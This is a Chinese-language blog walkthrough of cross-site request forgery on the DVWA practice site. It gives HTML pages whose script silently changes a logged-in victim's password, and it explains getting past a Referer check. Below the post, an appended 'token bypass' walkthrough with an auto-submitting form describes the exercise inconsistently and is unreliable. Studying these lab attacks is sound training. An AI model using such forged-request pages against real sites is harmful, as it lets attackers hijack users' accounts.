CSRF---dvwa演示

dvwa—csrf

  • csrf,通过欺骗,是受害者替攻击者执行操作。是一种对网站的恶意利用,通过伪造来自授信用户的请求来利用受信任的网站。

    • 我们这一次拿知名的靶站DVWA来看,此次成因是利用网站cookie在浏览器不过期,只要用户不关闭浏览器或者退出,在这个期间我们就可以发送构造好的csrf脚本包含csrf脚本的链接,利用的是网站的“信任”以及用户的一个登录状态
  • 1.low,首先使用火狐浏览器登录账户后修改密码,我们通过浏览器的网络选项或者是burpsuite进行查看http请求的返回信息

    • 在这里插入图片描述

    • 在这里插入图片描述

    • 在这里插入图片描述

    • http://www.dvwadvwa.com/dvwadvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
      
      • 从这里我们得知此次请求为get请求,需要注意的是CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
      • 所以说其实csrf、ssrf、xss都有相似的点,那就是都是基于用户的信任,但是较后者条件会更苛刻一些,在这里我们使用火狐浏览器做实验
    • 我们在自己的服务器上创建一个html文件,内容如下:

      <html>
      <body>
      <script>
      window.location.href="http://http://www.dvwadvwa.com/dvwadvwa/vulnerabilities/csrf/?password_new=abcdefg&password_conf=abcdefg&Change=Change#"
      </script>
      </body>
      </html>
      
      • 我们访问我们的html文件后,页面发生跳转
      • 在这里插入图片描述
    • 在这里插入图片描述

    • 在这里插入图片描述

  • 我们发现我们使用abcdef这个密码登陆成功。

  • 2.medium级别

    • 在这里插入图片描述

    • 通过代码我们能看出此关较第一关多了一个stripos函数的验证,我们首先需要知道stripos这个函数是一个什么函数

      • 在这里插入图片描述

      • 接下来我们看看会是什么样的运行结果

      • 在这里插入图片描述

      • 返回值是一个int类型,看样子有点像是’2’在字符串‘1234567’里面的位置,即下标,我们不妨在做一个实验

      • 在这里插入图片描述

      • 在这里插入图片描述

      • 在这里插入图片描述

      • 在这里插入图片描述

      • 由此我们可以得知此函数的确是我们预想的,是探测字符位置的一个函数,而题目中函数里面的内容HTTP_REFERER(http包头的Referer参数的值,表示来源地址),SERVER_NAME(http包头的Host参数,及要访问的主机名)

    • 在这里插入图片描述

    • 也就是说,此代码是将访问的主机名放入到Referer来源地址进行比较,若是存在则会执行下面的代码。(过滤规则是http包头的Referer参数的值中必须包含主机名)我们可以通过修改文件名来伪造,进行绕过,将文件更改为

       stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false 
      

      在这里插入图片描述

  • <html>
    <body>
    <script>
    window.location.href="http://www.dvwadvwa.com/dvwadvwa/vulnerabilities/csrf/?password_new=ftpftpftp&password_conf=ftpftpftp&Change=Change#"
    </script>
    </body>
    </html>
    

    我们访问我们本地的文件,并通过burpsuite查看结果

  • 在这里插入图片描述

  • 在这里插入图片描述

  • 我们使用新密码进行登录,发现登陆成功,密码修改成功!(注意:由于我们利用的是用户的信任来获取服务器的信任,所在在此期间登陆的状态是不能消失的,也就是要保持后台的登陆以及使用相同的浏览器)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA是一个非常流行的Web漏洞测试平台,其中包含了很多Web漏洞的实验,包括CSRF攻击。 下面是实现DVWA CSRF-Token绕过实验的步骤: 1. 下载和安装DVWA 你可以从官方网站下载DVWAhttp://www.dvwa.co.uk/。然后将其解压到Web服务器根目录中,并为其设置相应的权限。 2. 启动DVWA 在浏览器中访问http://localhost/dvwa/login.php,并使用默认的用户名admin和密码password登录到DVWA。 3. 打开CSRF绕过实验 在DVWA主页上,点击左侧菜单栏中的“CSRF”链接,然后选择“CSRF-Token绕过(低)”实验。 4. 分析目标页面 在实验页面中,有一个表单可以提交一个评论。我们的目标是利用CSRF攻击,来在用户不知情的情况下,提交一个恶意评论。 在浏览器中右键单击表单,选择“查看页面源代码”,然后查找表单中的隐藏字段“csrf_token”。 5. 编写攻击代码 在本地创建一个HTML文件,并编写以下代码: ```html <html> <body> <form action="http://localhost/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="comment" value="Hello, World!" /> <input type="hidden" name="submit" value="Submit" /> <input type="hidden" name="csrf_token" value="dvwa" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` 在这个代码中,我们使用表单的POST方法,将评论提交到目标页面。我们还设置了一个隐藏字段“csrf_token”,并将其值设置为“dvwa”,这样就可以绕过DVWACSRF保护。 6. 攻击目标 将HTML文件上传到Web服务器,并在浏览器中访问该文件。当页面加载时,攻击代码将自动提交表单,并将恶意评论发送到目标页面,而用户却毫不知情。 7. 验证攻击效果 在浏览器中访问http://localhost/dvwa/vulnerabilities/csrf/,并查看页面上的评论区,就可以看到我们刚才提交的恶意评论。 这就是利用CSRF-Token绕过漏洞实现攻击的步骤。请注意,这只是一个简单的演示,实际攻击可能需要更复杂的技术和步骤。因此,为了保护Web应用程序,开发人员需要采取一系列措施来防范CSRF攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值